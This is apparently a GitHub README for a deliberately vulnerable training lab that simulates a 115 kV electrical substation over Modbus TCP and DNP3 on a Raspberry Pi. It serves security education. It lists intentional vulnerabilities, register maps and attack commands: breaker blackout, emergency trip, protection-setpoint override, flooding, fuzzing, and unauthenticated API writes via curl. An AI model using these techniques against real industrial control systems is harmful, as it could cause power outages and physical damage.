Skip to content
positromenPublic

About

A deliberately vulnerable multi-protocol OT/ICS security training lab. Simulates a 115 kV electrical substation over Modbus TCP + DNP3 with a live SCADA HMI, Raspberry Pi GPIO LED indicators, and zero-dependency Modbus/DNP3 pentesting toolkits. For authorized educational use only.

Resources

Stars

2 stars

Watchers

0 watching

Forks

Repository files navigation

pi-ot-lab

A deliberately vulnerable multi-protocol OT/ICS security training lab.
Simulates a 115 kV Electrical Substation over Modbus TCP + DNP3 with a live SCADA HMI, Raspberry Pi GPIO LED indicators, and purpose-built pentesting toolkits.


Disclaimer

This lab is built for authorized educational use only.
All components are intentionally vulnerable. Never deploy this on a production network or use these techniques against systems you don't own.
Unauthorized access to ICS/OT systems is a criminal offense.


What's Inside

pi-ot-lab/
├── plc_simulator.py       ← Modbus TCP PLC simulator (port 5020)
├── dnp3_simulator.py      ← DNP3 outstation + Modbus bridge (port 20000)
├── hmi_server.py          ← Flask REST API + HMI backend (port 8080)
├── index.html             ← Industrial SCADA web dashboard (Modbus + DNP3 tabs)
├── modisy.py              ← Modbus TCP pentesting toolkit (15 commands)
├── dnp3sy.py              ← DNP3 pentesting toolkit (14 commands)
├── lab_launcher.py        ← One-command launcher for all services
├── TESTING_COMMANDS.md    ← Complete command reference (all attacks + recovery)
├── OT_Lab_Manual.tex      ← Comprehensive LaTeX lab manual (source)
└── graphify-out/          ← Knowledge graph output (HTML + JSON + report)
Component Description Port
Modbus PLC Full Modbus TCP server with live process simulation 5020
DNP3 Outstation DNP3 simulator with Modbus bridge — bidirectional cross-protocol sync 20000
HMI Dashboard Industrial SCADA web interface with dual-protocol view 8080
modisy Modbus pentest toolkit — 15 attack modules, zero dependencies CLI
dnp3sy DNP3 pentest toolkit — 14 attack modules, zero dependencies CLI

The Scenario

You are assessing a 115 kV Electrical Substation SCADA system.
The substation runs on a Raspberry Pi connected to physical LEDs representing circuit breaker states. It serves two industrial protocols simultaneously — Modbus TCP and DNP3 — controlling circuit breakers, transformer taps, capacitor banks, and protection relays across a dual-bus topology.

You attack from your laptop/desktop over the network. Both protocols are unauthenticated and bidirectionally synced — a change made via Modbus appears in DNP3 within 1 second, and vice versa. Every attack reflects live on the HMI dashboard and on the physical GPIO LEDs on the Pi.

Architecture

┌─────────────────────────┐         ┌──────────────────────────────────┐
│   ATTACKER (Your PC)    │         │   TARGET (Raspberry Pi)          │
│                         │  WiFi/  │                                  │
│  modisy.py  ───────────────────►  │  plc_simulator.py    :5020       │
│  dnp3sy.py  ───────────────────►  │  dnp3_simulator.py   :20000      │
│  Browser    ───────────────────►  │  hmi_server.py       :8080       │
│  curl / nmap / Wireshark│  LAN   │                                  │
│                         │         │  GPIO LEDs: 🟢🟢🟡🟡🔴🔵      │
└─────────────────────────┘         └──────────────────────────────────┘

Requirements

  • Python 3.8+
  • Flask
pip install flask

No external protocol libraries needed. All simulators and toolkits use raw sockets.


Quick Start

1. Setup the Raspberry Pi (Target)

SSH into the Pi and clone the repo:

ssh pi@<PI_IP>
git clone https://github.com/positromen/pi-ot-lab.git
cd pi-ot-lab
pip install flask

Launch the lab on the Pi:

python3 lab_launcher.py

This starts all three services on the Pi:

  • Modbus PLC on port 5020 (with GPIO LED control)
  • DNP3 Outstation on port 20000 (auto-syncs with Modbus PLC)
  • HMI Dashboard on http://<PI_IP>:8080

2. Attack from Your Machine

On your laptop/desktop, clone the same repo (you only need the attack scripts):

git clone https://github.com/positromen/pi-ot-lab.git
cd pi-ot-lab

Open the HMI dashboard in your browser:

http://<PI_IP>:8080

Run attacks targeting the Pi:

python modisy.py -H <PI_IP> -p 5020 dump          # Dump all registers
python modisy.py -H <PI_IP> -p 5020 blackout       # Open all breakers — LEDs go OFF
python dnp3sy.py -H <PI_IP> -p 20000 trip           # Emergency trip — red alarm LED ON

Replace <PI_IP> with your Pi's IP address (e.g. 192.168.1.76)

Quick reference: See TESTING_COMMANDS.md for every attack and recovery command with localhost and Pi variants, all in one place.

Full documentation: See OT_Lab_Manual.tex for complete register maps, attack walkthroughs, process simulation details, and defensive recommendations.


Cross-Protocol Sync

The DNP3 outstation includes a ModbusBridge that creates bidirectional data flow:

Direction Mechanism Latency
Modbus → DNP3 DNP3 polls Modbus PLC every 1s, mirrors coils/DI/IR/HR ~1s
DNP3 → Modbus CROB/analog writes forwarded to Modbus PLC in real time Immediate
Fallback If Modbus PLC unreachable, DNP3 runs local simulation Automatic

This means: modisy.py -H <PI_IP> -p 5020 blackout opens all breakers visible in DNP3 and turns off all GPIO LEDs, and dnp3sy.py -H <PI_IP> -p 20000 trip triggers ESTOP visible in Modbus and lights the red alarm LED on the Pi.


Modbus Memory Map

Coils — FC01 read / FC05 write (12 coils)

Address Name Default Impact if Written GPIO
0x00 CB_BUS1 ON Bus 1 de-energized GPIO17 (Green)
0x01 CB_BUS2 ON Bus 2 de-energized —
0x02 CB_FEEDER1 ON Feeder 1 load dropped GPIO27 (Green)
0x03 CB_FEEDER2 ON Feeder 2 load dropped GPIO22 (Yellow)
0x04 CB_FEEDER3 ON Feeder 3 load dropped GPIO10 (Yellow)
0x05 CB_TIE OFF Bus tie breaker —
0x06 ALARM_ACK OFF Acknowledge alarm —
0x07 EMERGENCY_TRIP OFF All breakers trip instantly GPIO9 (Red)
0x08 CAP_BANK OFF Capacitor bank switching GPIO11 (Blue)
0x09 XFMR_TAP_UP OFF Transformer tap raise —
0x0A XFMR_TAP_DN OFF Transformer tap lower —
0x0B AUTO_RECLOSE ON Automatic recloser —

Input Registers — FC04 read (15 registers)

Address Name Unit Description
3x00 BUS1_VOLTAGE kV (×10) Bus 1 voltage
3x01 BUS2_VOLTAGE kV (×10) Bus 2 voltage
3x02 FREQUENCY Hz (×100) System frequency
3x03 FEEDER1_CURRENT A (×10) Feeder 1 load
3x04 FEEDER2_CURRENT A (×10) Feeder 2 load
3x05 FEEDER3_CURRENT A (×10) Feeder 3 load
3x06 ACTIVE_POWER MW (×10) Total active power
3x07 REACTIVE_POWER MVAr (×100) Reactive power
3x08 POWER_FACTOR ×1000 Power factor
3x09 XFMR_TEMP °C (×10) Transformer temperature
3x10 ENERGY_MWH MWh Accumulated energy
3x11 LOAD_PERCENT % Total load percentage
3x12 TAP_POSITION pos Transformer tap position
3x13 FAULT_CURRENT A (×10) Fault current magnitude
3x14 THD_PERCENT % (×10) Total harmonic distortion

Holding Registers — FC03 read / FC06 write / FC16 bulk write (14 registers)

Address Name Default Notes
4x00 V_SETPOINT 1150 Voltage setpoint (V×10)
4x01 FREQ_NOMINAL 6000 Nominal frequency (Hz×100)
4x02 OVER_V_TRIP 1265 Over-voltage trip (V×10)
4x03 UNDER_V_TRIP 1035 Under-voltage trip (V×10)
4x04 OVER_FREQ_TRIP 6180 Over-frequency trip (Hz×100)
4x05 UNDER_FREQ_TRIP 5820 Under-frequency trip (Hz×100)
4x06 OVERCURRENT_TRIP 3000 Overcurrent trip (A×10)
4x07 LOAD_SHED_THRESH 90 Load shedding threshold (%)
4x08 XFMR_TEMP_ALARM 850 Transformer temp alarm (°C×10)
4x09 SCADA_AUTH_CODE 0xBEEF Plaintext credential in register
4x10 SYSTEM_MODE 0 0=Normal 1=Maintenance 2=Emergency
4x11 PROTECTION_MODE 1 0=Disabled 1=Enabled
4x12 RECLOSE_DELAY 5 Auto-reclose delay (seconds)
4x13 UNIT_ID 1 Modbus unit identifier

DNP3 Data Map

Binary Inputs (Group 1) — Status

Index Name Description
0 BUS1_ENERGIZED Bus 1 energized status
1 BUS2_ENERGIZED Bus 2 energized status
2 XFMR_OK Transformer health
3 PROTECTION_OK Protection system status
4 PANEL_CLOSED Panel door status
5–10 CB_xxx_STATUS Individual breaker feedback
11 ALARM_ACTIVE Active alarm indication

Binary Outputs (Group 10) — Controllable via CROB (Group 12)

Index Name Default
0 CB_BUS1 ON (Closed)
1 CB_BUS2 ON (Closed)
2 CB_FEEDER1 ON (Closed)
3 CB_FEEDER2 ON (Closed)
4 CB_FEEDER3 ON (Closed)
5 CB_TIE OFF (Open)
6 ALARM_ACK OFF
7 EMERGENCY_TRIP OFF
8 CAP_BANK OFF
9 XFMR_TAP_UP OFF
10 XFMR_TAP_DN OFF
11 AUTO_RECLOSE ON

Analog Inputs (Group 30) — Sensor Readings

Mirrors Modbus input registers (15 points): Bus voltages, frequency, feeder currents, power, XFMR temp, etc.

Analog Outputs (Group 40) — Protection Setpoints

Mirrors Modbus holding registers (14 points):

Index Name Default
0 V_SETPOINT 1150
1 FREQ_NOMINAL 6000
9 SCADA_AUTH_CODE 0xBEEF
10 SYSTEM_MODE 0

DNP3 Outstation Address: 10 · Port: 20000


Attack Toolkits

modisy — Modbus TCP (14 commands)

Run from your attacker machine, targeting the Pi

python modisy.py -H <PI_IP> -p 5020 scan              # Discover devices
python modisy.py -H <PI_IP> -p 5020 dump              # Full memory dump (coils + IR + HR)
python modisy.py -H <PI_IP> -p 5020 enum              # Device fingerprint (FC11/FC43)
python modisy.py -H <PI_IP> -p 5020 read-secret       # Extract HR[9] SCADA auth code
python modisy.py -H <PI_IP> -p 5020 coil-write 0 0    # Open CB Bus 1 → GPIO17 LED OFF
python modisy.py -H <PI_IP> -p 5020 reg-write 9 0xBEEF # Write auth code
python modisy.py -H <PI_IP> -p 5020 bulk-write 0 9999,5000,1265,1035,5100  # Mass override
python modisy.py -H <PI_IP> -p 5020 estop             # Emergency trip (coil 7) → Red LED ON
python modisy.py -H <PI_IP> -p 5020 blackout          # Open ALL 6 breakers → All LEDs OFF
python modisy.py -H <PI_IP> -p 5020 trip              # E-stop + open all → Red LED ON
python modisy.py -H <PI_IP> -p 5020 flip 2            # Toggle CB Feeder 1 → GPIO27 LED toggles
python modisy.py -H <PI_IP> -p 5020 fuzz -v           # Fuzz all function codes
python modisy.py -H <PI_IP> -p 5020 flood --count 2000 # DoS test
python modisy.py -H <PI_IP> -p 5020 replay 0105000700ff00  # Raw PDU replay

dnp3sy — DNP3 (13 commands)

Run from your attacker machine, targeting the Pi

python dnp3sy.py -H <PI_IP> -p 20000 scan             # Discover outstations
python dnp3sy.py -H <PI_IP> -p 20000 dump             # Read all data groups
python dnp3sy.py -H <PI_IP> -p 20000 enum             # Enumerate properties
python dnp3sy.py -H <PI_IP> -p 20000 read-secret      # Extract AO[9] auth code
python dnp3sy.py -H <PI_IP> -p 20000 direct-operate 0 trip  # Open CB Bus 1 (no SBO!)
python dnp3sy.py -H <PI_IP> -p 20000 direct-operate 7 close # Engage E-stop via CROB
python dnp3sy.py -H <PI_IP> -p 20000 write-analog 0 0       # Zero voltage setpoint
python dnp3sy.py -H <PI_IP> -p 20000 blackout          # Open ALL breakers via CROB
python dnp3sy.py -H <PI_IP> -p 20000 trip              # E-stop + open all breakers
python dnp3sy.py -H <PI_IP> -p 20000 flip 2            # Toggle CB Feeder 1
python dnp3sy.py -H <PI_IP> -p 20000 cold-restart      # Restart outstation
python dnp3sy.py -H <PI_IP> -p 20000 fuzz -v           # Fuzz function codes
python dnp3sy.py -H <PI_IP> -p 20000 flood --count 500  # DoS test

Intentional Vulnerabilities

Modbus PLC (8 vulns)

ID Description
V-001 No authentication on Modbus TCP
V-002 No input validation on writes
V-003 All function codes enabled — no whitelist
V-004 FC11 / FC43 disclose firmware and vendor info
V-005 No rate limiting
V-006 FC16 bulk write allows mass process override
V-007 Exception responses reveal address structure
V-008 No write audit logging at PLC level

DNP3 Outstation (7 vulns)

ID Description
V-DNP-001 No Secure Authentication
V-DNP-002 Direct Operate accepted without Select
V-DNP-003 Cold/Warm restart commands accepted
V-DNP-004 No input validation on analog outputs
V-DNP-005 Device attributes readable (info disclosure)
V-DNP-006 No rate limiting
V-DNP-007 Unsolicited responses enabled

HMI (6 vulns)

ID Description
V-HMI-001 No authentication on web interface
V-HMI-002 Unauthenticated write API
V-HMI-003 Debug mode enabled — stack traces exposed
V-HMI-004 CORS wildcard — any origin can send writes
V-HMI-005 Audit log accessible without credentials
V-HMI-006 Maintenance code readable via /api/status

HMI REST API

All endpoints are unauthenticated by design. Access from your attacker machine:

# Modbus PLC status
curl http://<PI_IP>:8080/api/status

# DNP3 outstation status
curl http://<PI_IP>:8080/api/dnp3/status

# Write a Modbus coil (open CB Bus 1) → GPIO17 LED turns OFF
curl -X POST http://<PI_IP>:8080/api/coil/0 \
  -H "Content-Type: application/json" \
  -d '{"value": false}'

# Engage emergency trip → GPIO9 Red LED turns ON
curl -X POST http://<PI_IP>:8080/api/coil/7 \
  -H "Content-Type: application/json" \
  -d '{"value": true}'

# Write a protection setpoint
curl -X POST http://<PI_IP>:8080/api/register/0 \
  -H "Content-Type: application/json" \
  -d '{"value": 1200}'

# Audit log
curl http://<PI_IP>:8080/api/audit

GPIO LED Indicators (Raspberry Pi)

When running on a Raspberry Pi, the PLC simulator drives physical LEDs via GPIO pins to represent circuit breaker states. LEDs turn ON when the breaker is closed and OFF when open.

Coil Name GPIO (BCM) LED Color Function
0 CB_BUS1 17 Green Bus 1 breaker
2 CB_FEEDER1 27 Green Feeder 1 breaker
3 CB_FEEDER2 22 Yellow Feeder 2 breaker
4 CB_FEEDER3 10 Yellow Feeder 3 breaker
— ALARM 9 Red Alarm / fault indicator
8 CAP_BANK 11 Blue Capacitor bank

Wiring

Connect each LED from the GPIO pin through a 220Ω resistor to GND.

GPIO Pin ──► 220Ω ──► LED(+) ──► GND

Behavior

  • Normal operation: Bus and feeder LEDs ON (green/yellow lit), alarm OFF
  • modisy.py -H <PI_IP> -p 5020 blackout: All breaker LEDs OFF, red alarm LED ON
  • modisy.py -H <PI_IP> -p 5020 trip: All LEDs OFF, red alarm LED ON
  • modisy.py -H <PI_IP> -p 5020 flip 4: CB_FEEDER3 LED (GPIO10) toggles
  • dnp3sy.py -H <PI_IP> -p 20000 blackout: Same effect via DNP3 CROB
  • dnp3sy.py -H <PI_IP> -p 20000 flip 0: CB_BUS1 LED (GPIO17) toggles
  • Recovery: Close breakers to turn LEDs back on, alarm auto-clears
  • GPIO disabled: On non-Pi systems, GPIO is silently skipped — simulator works normally

Compatible External Tools

Tool Usage
nmap nmap -p 5020,20000,8080 <PI_IP>
Metasploit use auxiliary/scanner/scada/modbus_findunitid
Wireshark Filter: `ip.addr == <PI_IP> && (tcp.port == 5020
Scapy Craft and replay raw Modbus/DNP3 packets

License

MIT License — see LICENSE for details.

About

A deliberately vulnerable multi-protocol OT/ICS security training lab. Simulates a 115 kV electrical substation over Modbus TCP + DNP3 with a live SCADA HMI, Raspberry Pi GPIO LED indicators, and zero-dependency Modbus/DNP3 pentesting toolkits. For authorized educational use only.

Resources

Stars

2 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages